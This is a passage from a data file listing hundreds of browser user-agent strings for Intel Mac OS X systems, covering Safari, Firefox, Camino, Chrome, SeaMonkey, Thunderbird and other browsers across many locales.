Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/531.21.8+(KHTML, like Gecko, Safari/528.16) Version/5.10.3 OmniWeb/622.14.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; nn-no) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8b Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_5; en-US) AppleWebKit/533.21.1+(KHTML, like Gecko, Safari/533.19.4) Version/5.11.2 OmniWeb/622.19.3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en; rv:1.8.1.12) Gecko/20080206 Camino/1.5.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; da; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/4.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko, Safari/416.12)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) NetNewsWire/3.0d7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari) Cheshire/1.0.UNOFFICIAL\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 TeaShark/0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Sunrise/1.6.5 like Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) NetNewsWire/2.1.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/125) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.7 (KHTML, like Gecko) Version/3.0 Safari/522.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1) Gecko/20061010 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/525.18 (KHTML, like Gecko, Safari/525.20) OmniWeb/v622.6.1.0.111015\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060116 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060203 Camino/1.0rc1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060227 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.10) Gecko/20070228 Camino/1.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070321 Firefox/1.5.0.11 Flock/0.7.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070327 Firefox/1.5.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.12) Gecko/20070530 Firefox/1.5.0.12 Flock/0.7.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.2) Gecko/20060328 Firefox/1.5.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060604 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060819 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.8) Gecko/20061109 Firefox/1.5.0.8 Flock/0.7.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061017 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061018 Camino/1.1a1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 BonEcho/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20061223 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20070505 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10pre) Gecko/20071127 Firefox/2.0.0.10 Navigator/9.0.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071206\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071206 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20080121 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20080122 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080202 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080703 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080703 SeaMonkey/1.1.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.23) Gecko/20090823 SeaMonkey/1.1.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.24) Gecko/20100301 SeaMonkey/1.1.19\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070322 BonEcho/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.5) Gecko/20070718 Firefox/2.0.0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Camino/1.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8) Gecko/20071019 Firefox/2.0.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8pre) Gecko/20071001 Firefox/2.0.0.7 Navigator/9.0RC1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9) Gecko/20071031 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9) Gecko/20071106 Firefox/2.0.0.9 Flock/1.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1a3) Gecko/20060601 Camino/1.0+\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8b5) Gecko/20051021 Camino/1.0+\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.9a1) Gecko/20061215 Minefield/3.0a1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.9a8pre) Gecko/2007083104 Minefield/3.0a8pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-ZA; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/523.10.3 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-gb) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.10.5 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.12 (KHTML, like Gecko) Version/3.0.4 Safari/523.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.1pre) Gecko/20061126 Camino/1.1a1+\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.24) Gecko/20100305 Camino/1.6.11 (like Firefox/2.0.0.24)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070108 Camino/1.1a2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223 Camino/1.1b\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070509 Camino/1.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070607 Camino/1.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070609 Camino/1.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070417 Camino/1.1b+\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070526 Camino/1.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.6) Gecko/20070809 Camino/1.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.6) Gecko/20070809 Firefox/2.0.0.6 Camino/1.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.9 MEGAUPLOAD 2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fi-fi) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fi; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.8 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Sunrise/1.6.0 like Safari/523.12.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; 